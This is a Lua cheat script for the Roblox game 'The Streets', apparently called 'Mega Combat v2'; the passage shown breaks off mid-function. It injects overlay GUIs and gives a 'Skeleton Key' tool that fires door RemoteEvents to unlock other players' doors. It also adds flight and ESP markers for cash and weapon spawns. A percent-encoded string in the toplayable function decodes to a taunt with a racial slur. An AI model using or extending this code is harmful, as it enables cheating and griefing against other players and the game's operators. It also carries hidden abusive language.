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- if game.PlaceId == 455366377 or game.PlaceId == 4669040 then
- print("Currently Playing The Streets")
- print("Waiting for player to confirm...")
- else
- return
- end
- repeat wait() until game:FindFirstChild("Players") ~= nil
- repeat wait() until game.Players.LocalPlayer ~= nil
- undecided = true
- continue = false
- local ConfirmGui = Instance.new("ScreenGui")
- local Drag = Instance.new("TextButton")
- local Background = Instance.new("ImageLabel")
- local deny = Instance.new("TextButton")
- local confirm = Instance.new("TextButton")
- local question = Instance.new("TextLabel")
- ConfirmGui.Name = "ConfirmGui"
- ConfirmGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
- Drag.Name = "Drag"
- Drag.Parent = ConfirmGui
- Drag.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
- Drag.BackgroundTransparency = 0.9990000128746
- Drag.BorderColor3 = Color3.new(1, 1, 1)
- Drag.Position = UDim2.new(0.392041147, 0, 0.23756206, 0)
- Drag.Size = UDim2.new(0, 414, 0, 414)
- Drag.Font = Enum.Font.ArialBold
- Drag.Text = ""
- Drag.TextColor3 = Color3.new(1, 1, 1)
- Drag.TextSize = 14
- Drag.TextWrapped = true
- Background.Name = "Background"
- Background.Parent = Drag
- Background.BackgroundColor3 = Color3.new(1, 1, 1)
- Background.Position = UDim2.new(0.00235595694, 0, -0.00123840338, 0)
- Background.Size = UDim2.new(0, 412, 0, 412)
- Background.ZIndex = 0
- Background.Image = "rbxassetid://0&hash=12ed3f0fdc0764ab01645b356df12dc3"
- deny.Name = "deny"
- deny.Parent = Background
- deny.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
- deny.BackgroundTransparency = 0.80000001192093
- deny.BorderColor3 = Color3.new(1, 1, 1)
- deny.Position = UDim2.new(0.552222788, 0, 0.668497741, 0)
- deny.Size = UDim2.new(0, 174, 0, 37)
- deny.ZIndex = 2
- deny.Font = Enum.Font.ArialBold
- deny.Text = "No"
- deny.TextColor3 = Color3.new(1, 1, 1)
- deny.TextSize = 25
- deny.TextWrapped = true
- confirm.Name = "confirm"
- confirm.Parent = Background
- confirm.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
- confirm.BackgroundTransparency = 0.80000001192093
- confirm.BorderColor3 = Color3.new(1, 1, 1)
- confirm.Position = UDim2.new(0.0400868692, 0, 0.669110954, 0)
- confirm.Size = UDim2.new(0, 174, 0, 37)
- confirm.ZIndex = 2
- confirm.Font = Enum.Font.ArialBold
- confirm.Text = "Yes"
- confirm.TextColor3 = Color3.new(1, 1, 1)
- confirm.TextSize = 25
- question.Name = "question"
- question.Parent = Background
- question.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
- question.BackgroundTransparency = 0.89999997615814
- question.Position = UDim2.new(0.00248703454, 0, -0.00103163486, 0)
- question.Size = UDim2.new(0, 412, 0, 118)
- question.Font = Enum.Font.SourceSans
- question.Text = "You're currently in The Streets. Would you like to inject \"Mega Combat v2\"?"
- question.TextColor3 = Color3.new(1, 1, 1)
- question.TextScaled = true
- question.TextSize = 14
- question.TextWrapped = true
- deny.MouseButton1Click:Connect(function()
- ConfirmGui:Destroy()
- undecided = false
- continue = false
- end)
- confirm.MouseButton1Click:Connect(function()
- ConfirmGui:Destroy()
- undecided = false
- continue = true
- end)
- while undecided do
- wait()
- end
- if continue == true then
- print("Confirmed! Injecting script...")
- elseif continue == false then
- return
- end
- wait(1)
- SpaceHeld = false
- jumpgcheck = true
- jumpspeed = 0.9
- targetee = nil
- pleaseshoot = false
- IsFirstPerson = false
- ShiftHeld = false
- WHeld = false
- SHeld = false
- AHeld = false
- DHeld = false
- gcheckrun = true
- runspeed = 1
- local stationaryrespawn = true
- local needsrespawning = false
- local haspos = false
- local pos = CFrame.new()
- fireuzi = false
- targetfireuzi = false
- forward = false
- flymode = false
- flyw = false
- flys = false
- flyd = false
- flya = false
- flysp = false
- flyct = false
- Mouse = game.Players.LocalPlayer:GetMouse()
- flyspeed = 0.5
- staypos = CFrame.new()
- stay = false
- originalgrip = CFrame.new()
- gundebounce = false
- flydebounce = false
- smalldebounce = false
- bigdebounce = false
- bigfire = false
- mouse = game.Players.LocalPlayer:GetMouse()
- local LP = game.Players.LocalPlayer
- local Mouse = LP:GetMouse()
- toggler = false
- FLYING = false
- iyflyspeed = 2
- attackradius = 35
- planks = {}
- plankpos = game.Players.LocalPlayer.Character.Torso.Position - Vector3.new(0,-20,0)
- plankfollow = false
- planksurf = false
- TeleportService = game:GetService("TeleportService")
- dontshoot = {}
- freeshoot = true
- wirerunning = true
- godmode = false
- enhancedboombox = false
- suicidetools = {}
- clickspam = false
- debunce = false
- visualize = false
- visualizetool = ""
- rot = 0
- sine = 0
- voidtoggle = false
- voidprocessing = false
- StartMessage = "Asset_ID_To_Version_ID_Script_Made_By_Aidez"
- hat = nil
- autoreset = false
- local TargetGUI = Instance.new("ScreenGui")
- local Target = Instance.new("TextBox")
- local Background = Instance.new("ImageLabel")
- TargetGUI.Name = "TargetGUI"
- TargetGUI.Parent = game.CoreGui
- Target.Name = "Target"
- Target.Parent = TargetGUI
- Target.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
- Target.BackgroundTransparency = 0.30000001192093
- Target.ClipsDescendants = true
- Target.Position = UDim2.new(0.726104677, 0, 0.717467248, 0)
- Target.Size = UDim2.new(0, 100, 0, 21)
- Target.Font = Enum.Font.SourceSans
- Target.PlaceholderText = "[TARGET]"
- Target.Text = ""
- Target.TextColor3 = Color3.new(1, 1, 1)
- Target.TextSize = 14
- Target.TextWrapped = true
- Target.Draggable = true
- Background.Name = "Background"
- Background.Parent = Target
- Background.BackgroundColor3 = Color3.new(1, 1, 1)
- Background.Position = UDim2.new(-9.90098342e-05, 0, -1.57506061, 0)
- Background.Size = UDim2.new(0, 100, 0, 86)
- Background.ZIndex = 0
- Background.Image = "rbxassetid://0&hash=2396ab74bcae41f2340b198666905246"
- local Respawning = Instance.new("ScreenGui")
- local RespawningButton = Instance.new("TextButton")
- Respawning.Name = "Respawning"
- Respawning.Parent = game.CoreGui
- RespawningButton.Name = "RespawningButton"
- RespawningButton.Parent = Respawning
- RespawningButton.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
- RespawningButton.BackgroundTransparency = 0.30000001192093
- RespawningButton.BorderSizePixel = 0
- RespawningButton.Position = UDim2.new(0.0391057241, 0, 0.826617789, 0)
- RespawningButton.Size = UDim2.new(0, 83, 0, 34)
- RespawningButton.Font = Enum.Font.SourceSans
- RespawningButton.Text = "Not Returning"
- RespawningButton.TextColor3 = Color3.new(1, 1, 1)
- RespawningButton.TextSize = 20
- RespawningButton.TextScaled = true
- RespawningButton.Draggable = true
- local creditsdab = Instance.new("ScreenGui")
- local Frame = Instance.new("Frame")
- local aidez = Instance.new("ImageLabel")
- local names = Instance.new("TextLabel")
- local scriptmadeby = Instance.new("TextLabel")
- local scriptmadeby_2 = Instance.new("TextLabel")
- local x = Instance.new("TextButton")
- creditsdab.Name = "creditsdab"
- creditsdab.Parent = game.CoreGui
- Frame.Parent = creditsdab
- Frame.BackgroundColor3 = Color3.new(1, 1, 1)
- Frame.Position = UDim2.new(0.399554282, 0, 0.241054624, 0)
- Frame.Size = UDim2.new(0, 274, 0, 274)
- aidez.Name = "aidez"
- aidez.Parent = Frame
- aidez.BackgroundColor3 = Color3.new(1, 1, 1)
- aidez.BorderColor3 = Color3.new(0.117647, 0.117647, 0.117647)
- aidez.Position = UDim2.new(-0.000740621239, 0, 0.000178694725, 0)
- aidez.Size = UDim2.new(0, 274, 0, 274)
- aidez.Image = "rbxassetid://0&hash=9c3f6c00707d5ebde710fd2f3efd2b5e"
- names.Name = "names"
- names.Parent = Frame
- names.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
- names.BackgroundTransparency = 0.30000001192093
- names.BorderColor3 = Color3.new(0.117647, 0.117647, 0.117647)
- names.Position = UDim2.new(0, 0, 0.897810221, 0)
- names.Size = UDim2.new(0, 274, 0, 28)
- names.Font = Enum.Font.SourceSans
- names.Text = "Vortexturize | aidez moi#4192 | Aidez "
- names.TextColor3 = Color3.new(1, 1, 1)
- names.TextSize = 14
- scriptmadeby.Name = "scriptmadeby"
- scriptmadeby.Parent = Frame
- scriptmadeby.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
- scriptmadeby.BackgroundTransparency = 0.30000001192093
- scriptmadeby.BorderColor3 = Color3.new(0.117647, 0.117647, 0.117647)
- scriptmadeby.Position = UDim2.new(0, 0, -0.102189779, 0)
- scriptmadeby.Size = UDim2.new(0, 274, 0, 28)
- scriptmadeby.Font = Enum.Font.SourceSans
- scriptmadeby.Text = "Script made by"
- scriptmadeby.TextColor3 = Color3.new(1, 1, 1)
- scriptmadeby.TextSize = 14
- scriptmadeby_2.Name = "scriptmadeby"
- scriptmadeby_2.Parent = Frame
- scriptmadeby_2.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
- scriptmadeby_2.BackgroundTransparency = 0.30000001192093
- scriptmadeby_2.BorderColor3 = Color3.new(0.117647, 0.117647, 0.117647)
- scriptmadeby_2.Position = UDim2.new(0, 0, -0.164233565, 0)
- scriptmadeby_2.Size = UDim2.new(0, 274, 0, 17)
- scriptmadeby_2.Font = Enum.Font.SourceSans
- scriptmadeby_2.Text = "Open the dev consol for a list of features. (F9 or Shift + F9)"
- scriptmadeby_2.TextColor3 = Color3.new(1, 1, 1)
- scriptmadeby_2.TextScaled = true
- scriptmadeby_2.TextSize = 14
- scriptmadeby_2.TextWrapped = true
- x.Name = "x"
- x.Parent = creditsdab
- x.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
- x.BackgroundTransparency = 0.30000001192093
- x.BorderColor3 = Color3.new(0.117647, 0.117647, 0.117647)
- x.Position = UDim2.new(0.600445747, 0, 0.188323915, 0)
- x.Size = UDim2.new(0, 28, 0, 28)
- x.Font = Enum.Font.SourceSansSemibold
- x.Text = "X"
- x.TextColor3 = Color3.new(1, 1, 1)
- x.TextSize = 30
- x.MouseButton1Click:connect(function()
- creditsdab:Destroy()
- end)
- function giveSKey()
- local epic = Instance.new("Tool")
- local dab = Instance.new("Part")
- local plr = game.Players.LocalPlayer
- local tar_obj = nil
- dab.Parent = epic
- dab.Size = Vector3.new(0.2, 0.2, 0.2)
- epic.Parent = plr.Backpack
- epic.Name = "Skeleton Key"
- epic.ToolTip = "Click on a door with this"
- dab.Name = "Handle"
- epic.Equipped:Connect(function(m_S)
- m_S.Button1Down:Connect(function()
- tar_obj = m_S.Target
- door = tar_obj.Parent
- if door:FindFirstChild("Lock") then
- door.Lock.ClickDetector.RemoteEvent:FireServer()
- wait(0.2)
- door.Click.ClickDetector.RemoteEvent:FireServer()
- elseif tar_obj.Parent.Parent:FindFirstChild("Lock") then
- tar_obj.Parent.Parent.Lock.ClickDetector.RemoteEvent:FireServer()
- wait(0.2)
- tar_obj.Parent.Parent.Click.ClickDetector.RemoteEvent:FireServer()
- end
- end)
- end)
- end -- giveSKey Function end
- giveSKey()
- function sFLY() -- from rocky2u cmdscript
- repeat wait() until LP and LP.Character and LP.Character:FindFirstChild('HumanoidRootPart') and LP.Character:FindFirstChild('Humanoid')
- game.Players.LocalPlayer.Character.HumanoidRootPart.Anchored = true
- repeat wait() until Mouse
- local T = game.Players.LocalPlayer.Character.HumanoidRootPart
- local CONTROL = {F = 0, B = 0, L = 0, R = 0}
- local lCONTROL = {F = 0, B = 0, L = 0, R = 0}
- local SPEED = 0
- local function FLY()
- FLYING = true
- local BG = Instance.new('BodyGyro', T)
- local BV = Instance.new('BodyVelocity', T)
- BG.P = 9e4
- BG.maxTorque = Vector3.new(9e9, 9e9, 9e9)
- BG.cframe = T.CFrame
- BV.velocity = Vector3.new(0, 0.1, 0)
- BV.maxForce = Vector3.new(9e9, 9e9, 9e9)
- spawn(function()
- repeat wait()
- if CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 then
- SPEED = 50
- elseif not (CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0) and SPEED ~= 0 then
- SPEED = 0
- end
- if (CONTROL.L + CONTROL.R) ~= 0 or (CONTROL.F + CONTROL.B) ~= 0 then
- BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (CONTROL.F + CONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(CONTROL.L + CONTROL.R, (CONTROL.F + CONTROL.B) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
- lCONTROL = {F = CONTROL.F, B = CONTROL.B, L = CONTROL.L, R = CONTROL.R}
- elseif (CONTROL.L + CONTROL.R) == 0 and (CONTROL.F + CONTROL.B) == 0 and SPEED ~= 0 then
- BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (lCONTROL.F + lCONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(lCONTROL.L + lCONTROL.R, (lCONTROL.F + lCONTROL.B) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
- else
- BV.velocity = Vector3.new(0, 0.1, 0)
- end
- BG.cframe = workspace.CurrentCamera.CoordinateFrame
- until not FLYING
- CONTROL = {F = 0, B = 0, L = 0, R = 0}
- lCONTROL = {F = 0, B = 0, L = 0, R = 0}
- SPEED = 0
- BG:destroy()
- BV:destroy()
- end)
- end
- Mouse.KeyDown:connect(function(KEY)
- if KEY:lower() == 'w' then
- CONTROL.F = iyflyspeed
- elseif KEY:lower() == 's' then
- CONTROL.B = -iyflyspeed
- elseif KEY:lower() == 'a' then
- CONTROL.L = -iyflyspeed
- elseif KEY:lower() == 'd' then
- CONTROL.R = iyflyspeed
- end
- end)
- Mouse.KeyUp:connect(function(KEY)
- if KEY:lower() == 'w' then
- CONTROL.F = 0
- elseif KEY:lower() == 's' then
- CONTROL.B = 0
- elseif KEY:lower() == 'a' then
- CONTROL.L = 0
- elseif KEY:lower() == 'd' then
- CONTROL.R = 0
- end
- end)
- FLY()
- game.Players.LocalPlayer.Character.HumanoidRootPart.Anchored = false
- end
- function NOFLY()
- FLYING = false
- end
- function startflying()
- game.Players.LocalPlayer.PlayerGui.LocalScript.Disabled = true
- wait()
- sFLY()
- wait(0.1)
- game.Players.LocalPlayer.PlayerGui.LocalScript.Disabled = false
- local Float = Instance.new('Part', game.Players.LocalPlayer.Character)
- Float.Name = 'Float'
- Float.Transparency = 1
- Float.Size = Vector3.new(6,1,6)
- Float.Anchored = true
- end
- function CreateDonationGUI()
- local DonateGUI = Instance.new("ScreenGui")
- local Frame = Instance.new("Frame")
- local Background = Instance.new("ImageLabel")
- local _10 = Instance.new("TextButton")
- local _30 = Instance.new("TextButton")
- local _50 = Instance.new("TextButton")
- local _60 = Instance.new("TextButton")
- local _100 = Instance.new("TextButton")
- local _200 = Instance.new("TextButton")
- local X = Instance.new("TextButton")
- DonateGUI.Name = "DonateGUI"
- DonateGUI.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
- DonateGUI.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
- Frame.Parent = DonateGUI
- Frame.BackgroundColor3 = Color3.new(1, 1, 1)
- Frame.ClipsDescendants = true
- Frame.Position = UDim2.new(0.340173662, 0, 0.153321981, 0)
- Frame.Size = UDim2.new(0, 405, 0, 407)
- Background.Name = "Background"
- Background.Parent = Frame
- Background.BackgroundColor3 = Color3.new(0, 0, 0)
- Background.Position = UDim2.new(-0.00493827462, 0, -0.00737100746, 0)
- Background.Size = UDim2.new(0, 409, 0, 413)
- Background.Image = "rbxassetid://3207314205"
- _10.Name = "10"
- _10.Parent = Background
- _10.BackgroundColor3 = Color3.new(1, 1, 1)
- _10.BackgroundTransparency = 0.69999998807907
- _10.Position = UDim2.new(0.254278719, 0, 0.0992735997, 0)
- _10.Size = UDim2.new(0, 200, 0, 50)
- _10.Font = Enum.Font.SourceSans
- _10.Text = "Donate 10"
- _10.TextColor3 = Color3.new(1, 1, 1)
- _10.TextSize = 18
- _10.TextStrokeTransparency = 0.10000000149012
- _30.Name = "30"
- _30.Parent = Background
- _30.BackgroundColor3 = Color3.new(1, 1, 1)
- _30.BackgroundTransparency = 0.69999998807907
- _30.Position = UDim2.new(0.254278719, 0, 0.237288117, 0)
- _30.Size = UDim2.new(0, 200, 0, 50)
- _30.Font = Enum.Font.SourceSans
- _30.Text = "Donate 30"
- _30.TextColor3 = Color3.new(1, 1, 1)
- _30.TextSize = 18
- _30.TextStrokeTransparency = 0.10000000149012
- _50.Name = "50"
- _50.Parent = Background
- _50.BackgroundColor3 = Color3.new(1, 1, 1)
- _50.BackgroundTransparency = 0.69999998807907
- _50.Position = UDim2.new(0.254278719, 0, 0.372881353, 0)
- _50.Size = UDim2.new(0, 200, 0, 50)
- _50.Font = Enum.Font.SourceSans
- _50.Text = "Donate 50"
- _50.TextColor3 = Color3.new(1, 1, 1)
- _50.TextSize = 18
- _50.TextStrokeTransparency = 0.10000000149012
- _60.Name = "60"
- _60.Parent = Background
- _60.BackgroundColor3 = Color3.new(1, 1, 1)
- _60.BackgroundTransparency = 0.69999998807907
- _60.Position = UDim2.new(0.254278719, 0, 0.508474588, 0)
- _60.Size = UDim2.new(0, 200, 0, 50)
- _60.Font = Enum.Font.SourceSans
- _60.Text = "Donate 60"
- _60.TextColor3 = Color3.new(1, 1, 1)
- _60.TextSize = 18
- _60.TextStrokeTransparency = 0.10000000149012
- _100.Name = "100"
- _100.Parent = Background
- _100.BackgroundColor3 = Color3.new(1, 1, 1)
- _100.BackgroundTransparency = 0.69999998807907
- _100.Position = UDim2.new(0.254278719, 0, 0.644067824, 0)
- _100.Size = UDim2.new(0, 200, 0, 50)
- _100.Font = Enum.Font.SourceSans
- _100.Text = "Donate 100"
- _100.TextColor3 = Color3.new(1, 1, 1)
- _100.TextSize = 18
- _100.TextStrokeTransparency = 0.10000000149012
- _200.Name = "200"
- _200.Parent = Background
- _200.BackgroundColor3 = Color3.new(1, 1, 1)
- _200.BackgroundTransparency = 0.69999998807907
- _200.Position = UDim2.new(0.254278719, 0, 0.779661059, 0)
- _200.Size = UDim2.new(0, 200, 0, 50)
- _200.Font = Enum.Font.SourceSans
- _200.Text = "Donate 200"
- _200.TextColor3 = Color3.new(1, 1, 1)
- _200.TextSize = 18
- _200.TextStrokeTransparency = 0.10000000149012
- X.Name = "X"
- X.Parent = Background
- X.BackgroundColor3 = Color3.new(1, 1, 1)
- X.BorderSizePixel = 3
- X.Position = UDim2.new(0.90220046, 0, 0.0072639226, 0)
- X.Size = UDim2.new(0, 38, 0, 38)
- X.Font = Enum.Font.SourceSans
- X.Text = "X"
- X.TextColor3 = Color3.new(0, 0, 0)
- X.TextSize = 50
- X.MouseButton1Click:connect(function()
- DonateGUI:Destroy()
- end)
- _10.MouseButton1Click:connect(function()
- game:GetService("MarketplaceService"):PromptPurchase(game.Players.LocalPlayer,649311217,true)
- end)
- _30.MouseButton1Click:connect(function()
- game:GetService("MarketplaceService"):PromptPurchase(game.Players.LocalPlayer,918194587,true)
- end)
- _50.MouseButton1Click:connect(function()
- game:GetService("MarketplaceService"):PromptPurchase(game.Players.LocalPlayer,858859976,true)
- end)
- _60.MouseButton1Click:connect(function()
- game:GetService("MarketplaceService"):PromptPurchase(game.Players.LocalPlayer,885034827,true)
- end)
- _100.MouseButton1Click:connect(function()
- game:GetService("MarketplaceService"):PromptPurchase(game.Players.LocalPlayer,649314421,true)
- end)
- _200.MouseButton1Click:connect(function()
- game:GetService("MarketplaceService"):PromptPurchase(game.Players.LocalPlayer,649315461,true)
- end)
- end
- function discordlink()
- local sg = Instance.new("ScreenGui")
- sg.Name = "DiscordGui"
- sg.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
- local frame = Instance.new("Frame")
- frame.Style = "RobloxRound"
- frame.Size = UDim2.new(0.25, 0, 0.25, 0)
- frame.Position = UDim2.new((1-frame.Size.X.Scale)/2, 0, (1-frame.Size.Y.Scale)/2, 0)
- frame.Parent = sg
- frame.Draggable = true
- local text = Instance.new("TextLabel")
- text.BackgroundTransparency = 1
- text.TextStrokeTransparency = 0
- text.TextColor3 = Color3.new(1, 1, 1)
- text.Size = UDim2.new(1, 0, 0.6, 0)
- text.TextScaled = true
- text.Text = "Did you know I have a discord?\n\nPlease join :("
- text.Parent = frame
- local input = Instance.new("TextLabel")
- input.BackgroundColor3 = Color3.new(0, 0, 0)
- input.BackgroundTransparency = 0.5
- input.BorderColor3 = Color3.new(1, 1, 1)
- input.TextColor3 = Color3.new(1, 1, 1)
- input.TextStrokeTransparency = 1
- input.TextScaled = true
- input.Text = "https://discord.gg/bMwYFq2"
- input.Size = UDim2.new(1, 0, 0.2, 0)
- input.Position = UDim2.new(0, 0, 0.6, 0)
- input.Parent = frame
- local button = Instance.new("TextButton")
- button.Style = "RobloxButton"
- button.Size = UDim2.new(0.75, 0, 0.2, 0)
- button.Position = UDim2.new(0.125, 0, 0.8, 0)
- button.TextColor3 = Color3.new(1, 1, 1)
- button.TextStrokeTransparency = 0
- button.Text = "Copy to Clipboard (Synapse X only)"
- button.TextScaled = true
- button.Parent = frame
- button.MouseButton1Click:connect(function()
- if syn then
- syn.write_clipboard(tostring(input.Text))
- button.Text = "Thank you!"
- wait(0.5)
- sg:Destroy()
- end
- end)
- local Xbutton = Instance.new("TextButton")
- Xbutton.Style = "RobloxButton"
- Xbutton.Size = UDim2.new(0.15, 0, 0.2, 0)
- Xbutton.Position = UDim2.new(0.96, 0, -0.16, 0)
- Xbutton.TextColor3 = Color3.new(1, 1, 1)
- Xbutton.TextStrokeTransparency = 0
- Xbutton.Text = "X"
- Xbutton.TextScaled = true
- Xbutton.Parent = frame
- Xbutton.MouseButton1Click:connect(function()
- sg:Destroy()
- end)
- end
- function findplayer(namey)
- local name = string.lower(namey)
- local player = nil
- names = game.Players:GetChildren()
- for i,v in pairs(names) do
- strlower = string.lower(v.Name)
- sub = string.sub(strlower,1,#name)
- if name == sub then
- player = v
- if player.Name ~= game.Players.LocalPlayer.Name then
- end
- end
- end
- if player then
- return player
- else
- return false
- end
- end
- function IsInTable(table, tofind)
- local found = false
- for i,v in pairs(table) do
- if v == tofind then
- found = true
- break
- end
- end
- return found
- end
- if string.find(string.lower(game.Players.LocalPlayer.Name), "la_") then
- game:GetService("ReplicatedStorage").lIII:FireServer("spd")
- end
- local function removeothercash(instance)
- for i,v in pairs(instance:GetChildren()) do
- if v.Name == "ESP" and v:FindFirstChild("CASH") then
- v:Destroy()
- end
- removeothercash(v)
- end
- end
- function gettools(toolname)
- toolname = string.lower(toolname)
- local matchingtools = {}
- if toolname == "hat" and not game.Players.LocalPlayer.Backpack:FindFirstChild("hat") and game.Players.LocalPlayer.Character.Torso:FindFirstChild("Song") then
- local LocalPlayer = game:GetService("Players").LocalPlayer
- for _, hat in pairs(LocalPlayer.Character.Humanoid:GetAccessories()) do
- if hat:FindFirstChild("Handle") then
- local tool = Instance.new("Tool", LocalPlayer.Backpack)
- tool.Name = "hat"
- local hathandle = hat.Handle
- hathandle:FindFirstChildOfClass("Weld"):Destroy()
- hathandle.Parent = tool
- hathandle.Massless = true
- end
- end
- wait()
- end
- for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
- local lowername = string.lower(v.Name)
- if string.sub(lowername, 1, #toolname) == toolname then
- table.insert(matchingtools, v)
- end
- end
- for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
- local lowername = string.lower(v.Name)
- if string.sub(lowername, 1, #toolname) == toolname then
- table.insert(matchingtools, v)
- end
- end
- return matchingtools
- end
- function toversionid(id)
- local dab = game:HttpGet("https://www.roblox.com/studio/plugins/info?assetId="..id)
- if string.find(dab, 'value="') then
- local epic = string.find(dab, 'value="')
- local almost = string.sub(dab, epic + 7, epic + 18)
- local filter1 = string.gsub(almost, " ", "")
- local filter2 = string.gsub(filter1, "/", "")
- local filter3 = string.gsub(filter2, ">", "")
- local filter4 = string.gsub(filter3, '"', "")
- local versionid = string.gsub(filter4, "<", "")
- return versionid
- end
- end
- function percentencode(id)
- local third = string.gsub(tostring(id), "3", "%%33")
- local first = string.gsub(third, "1", "%%31")
- local second = string.gsub(first, "2", "%%32")
- local fourth = string.gsub(second, "4", "%%34")
- local fifth = string.gsub(fourth, "5", "%%35")
- local sixth = string.gsub(fifth, "6", "%%36")
- local seventh = string.gsub(sixth, "7", "%%37")
- local eighth = string.gsub(seventh, "8", "%%38")
- local ninth = string.gsub(eighth, "9", "%%39")
- local PercentEncodedId = ninth
- return PercentEncodedId
- end
- function toplayable(id)
- local playableid = StartMessage..".hash_%61%6c%73%6f%5f%79%6f%75%5f%74%68%69%6e%6b%5f%64%65%63%72%79%70%74%69%6e%67%5f%74%68%69%73%5f%69%73%5f%67%6f%6e%6e%61%5f%68%65%6c%70%3f%5f%46%55%43%4b%5f%55%50%5f%4e%49%47%47%41%21%5f%59%6f%75%5f%77%72%6f%6e%67%5f%4c%4f%4c%21%5f%43%59%41%5f%63%75%6e%74%5f%61%73%73%5f%6c%61%74%65%72%5f%73%69%6e%63%65%72%65%6c%79%5f%42%6f%62%5f%52%6f%73%73%5f&%76%65%72%73%69%6f%6e%69%64="..tostring(id)
- return playableid
- end
- function fullyconvert(id)
- local convert = toversionid(id)
- local encoded = percentencode(convert)
- local playable = toplayable(encoded)
- return playable
- end
- local function removeothershotty(instance)
- for i,v in pairs(instance:GetChildren()) do
- if v.Name == "ESP" and v:FindFirstChild("SHOTTY") then
- v:Destroy()
- end
- removeothershotty(v)
- end
- end
- local function removeotheruzi(instance)
- for i,v in pairs(instance:GetChildren()) do
- if v.Name == "ESP" and v:FindFirstChild("UZi") then
- v:Destroy()
- end
- removeotheruzi(v)
- end
- end
- function showcash(v)
- local epic = Instance.new("Part")
- epic.Parent = v
- epic.Name = "parttrace"
- epic.CFrame = v.CFrame
- epic.Size = Vector3.new(0.2,0.2,0.2)
- epic.Anchored = true
- epic.Transparency = 1
- local billgui = Instance.new('BillboardGui', epic)
- local textlab = Instance.new('TextLabel', billgui)
- billgui.Name = "ESP"
- billgui.Adornee = epic
- billgui.AlwaysOnTop = true
- billgui.ExtentsOffset = Vector3.new(0, 1, 0)
- billgui.Size = UDim2.new(0, 5, 0, 5)
- textlab.Name = 'CASH'
- textlab.BackgroundColor3 = Color3.new(255, 255, 255)
- textlab.BackgroundTransparency = 1
- textlab.BorderSizePixel = 0
- textlab.Position = UDim2.new(0, 0, 0, -40)
- textlab.Size = UDim2.new(1, 0, 10, 0)
- textlab.Visible = true
- textlab.ZIndex = 10
- textlab.Font = 'ArialBold'
- textlab.FontSize = 'Size14'
- textlab.Text = "CASH"
- textlab.TextColor = BrickColor.new('Bright red')
- textlab.TextStrokeColor3 = Color3.fromRGB(0,0,0)
- textlab.TextStrokeTransparency = 0.6
- end
- function showuzi(v)
- local epic = Instance.new("Part")
- epic.Parent = v
- epic.Name = "parttrace"
- epic.CFrame = v.CFrame
- epic.Size = Vector3.new(0.2,0.2,0.2)
- epic.Anchored = true
- epic.Transparency = 1
- local billgui = Instance.new('BillboardGui', epic)
- local textlab = Instance.new('TextLabel', billgui)
- billgui.Name = "ESP"
- billgui.Adornee = epic
- billgui.AlwaysOnTop = true
- billgui.ExtentsOffset = Vector3.new(0, 1, 0)
- billgui.Size = UDim2.new(0, 5, 0, 5)
- textlab.Name = 'UZI'
- textlab.BackgroundColor3 = Color3.new(255, 255, 255)
- textlab.BackgroundTransparency = 1
- textlab.BorderSizePixel = 0
- textlab.Position = UDim2.new(0, 0, 0, -40)
- textlab.Size = UDim2.new(1, 0, 10, 0)
- textlab.Visible = true
- textlab.ZIndex = 10
- textlab.Font = 'ArialBold'
- textlab.FontSize = 'Size18'
- textlab.Text = "UZI"
- textlab.TextColor = BrickColor.new('Bright blue')
- textlab.TextStrokeColor3 = Color3.fromRGB(0,0,0)
- textlab.TextStrokeTransparency = 0.6
- end
- function showshotty(v)
- local epic = Instance.new("Part")
- epic.Parent = v
- epic.Name = "parttrace"
- epic.CFrame = v.CFrame
- epic.Size = Vector3.new(0.2,0.2,0.2)
- epic.Anchored = true
- epic.Transparency = 1
- local billgui = Instance.new('BillboardGui', epic)
- local textlab = Instance.new('TextLabel', billgui)
- billgui.Name = "ESP"
- billgui.Adornee = epic
- billgui.AlwaysOnTop = true
- billgui.ExtentsOffset = Vector3.new(0, 1, 0)
- billgui.Size = UDim2.new(0, 5, 0, 5)
- textlab.Name = 'SHOTTY'
- textlab.BackgroundColor3 = Color3.new(255, 255, 255)
- textlab.BackgroundTransparency = 1
- textlab.BorderSizePixel = 0
- textlab.Position = UDim2.new(0, 0, 0, -40)
- textlab.Size = UDim2.new(1, 0, 10, 0)
- textlab.Visible = true
- textlab.ZIndex = 10
- textlab.Font = 'ArialBold'
- textlab.FontSize = 'Size14'
- textlab.Text = "SHOTTY"
- textlab.TextColor = BrickColor.new('Bright yellow')
- textlab.TextStrokeColor3 = Color3.fromRGB(0,0,0)
- textlab.TextStrokeTransparency = 0.6
- end
- local function tracecash(instance)
- for i,v in pairs(instance:GetChildren()) do
- if v:IsA("MeshPart") and v.MeshId == "rbxassetid://511726060" then
- removeothercash(v.Parent)
- showcash(v)
- end
- tracecash(v)
- end
- end
- local function traceshotty(instance)
- for i,v in pairs(instance:GetChildren()) do
- if v:IsA("Sound") and v.Name == "Fire" and v.Parent.Parent.Parent.Name == "RandomSpawner" and string.find(tostring(v.SoundId), tostring(142383762)) then
- removeothershotty(v.Parent)
- showshotty(v.Parent)
- end
- traceshotty(v)
- end
- end
- local function traceuzi(instance)
- for i,v in pairs(instance:GetChildren()) do
